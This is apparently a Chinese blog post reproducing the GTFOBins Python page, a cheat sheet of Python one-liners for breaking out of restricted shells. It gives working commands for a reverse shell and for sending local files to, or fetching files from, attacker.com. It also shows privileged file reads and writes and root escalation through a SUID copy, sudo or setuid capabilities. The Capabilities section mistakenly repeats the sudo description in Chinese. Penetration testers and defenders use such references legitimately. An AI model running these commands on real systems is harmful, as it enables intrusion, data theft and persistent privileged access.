RPE 的一个简单案例--中文

.. / python

Shell 反向shell 文件上传 文件下载 文件写入 文件读取 库加载 SUID Sudo 功能有效载荷与 Python 版本 2 和 3 兼容。

Shell

它可用于通过生成交互式系统外壳来摆脱受限制的环境。

python -c 'import os; os.system("/bin/sh")'

Reverse shell

它可以向侦听攻击者发送回一个反向 shell,以打开远程网络访问。

在攻击者机器上运行 socat file:tty,raw,echo=0 tcp-listen:12345 以接收 shell。

export RHOST=attacker.com
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'

File upload

它可以窃取网络上的文件。

通过 HTTP POST 请求的“d”参数发送本地文件。在攻击者机器上运行 HTTP 服务来收集文件。

export URL=http://attacker.com/
export LFILE=file_to_send
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
Serve files in the local folder running an HTTP server.

export LPORT=8888
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'

File download

它可以下载远程文件。

通过 HTTP GET 请求获取远程文件。

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'

File write

它将数据写入文件,可用于进行特权写入或在受限文件系统之外写入文件。

python -c 'open("file_to_write","w+").write("DATA")'

File read

它从文件中读取数据,可用于在受限文件系统之外进行特权读取或披露文件。

python -c 'print(open("file_to_read").read())'

Library load

它加载可用于在二进制执行上下文中运行代码的共享库。

python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'

SUID

如果二进制文件设置了 SUID 位,它不会放弃提升的特权,并且可能会被滥用来访问文件系统、升级或维持特权访问作为 SUID 后门。如果用于运行 sh -p,请在 Debian (<= Stretch) 等系统上省略 -p 参数,这些系统允许默认 sh shell 以 SUID 权限运行。

此示例创建二进制文件的本地 SUID 副本并运行它以维护提升的权限。要与现有的 SUID 二进制文件交互,请跳过第一个命令并使用其原始路径运行程序。

sudo install -m =xs $(which python) .

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo python -c 'import os; os.system("/bin/sh")'

Capabilities

如果 sudo 允许二进制文件以超级用户身份运行,它不会放弃提升的权限,并可用于访问文件系统、升级或维护特权访问。

cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆
搬运原文参考:https://gtfobins.github.io/gtfobins/python/#sudo

posted @ 2021-09-05 21:08  wdd学习笔记  阅读(162)  评论(0)    收藏  举报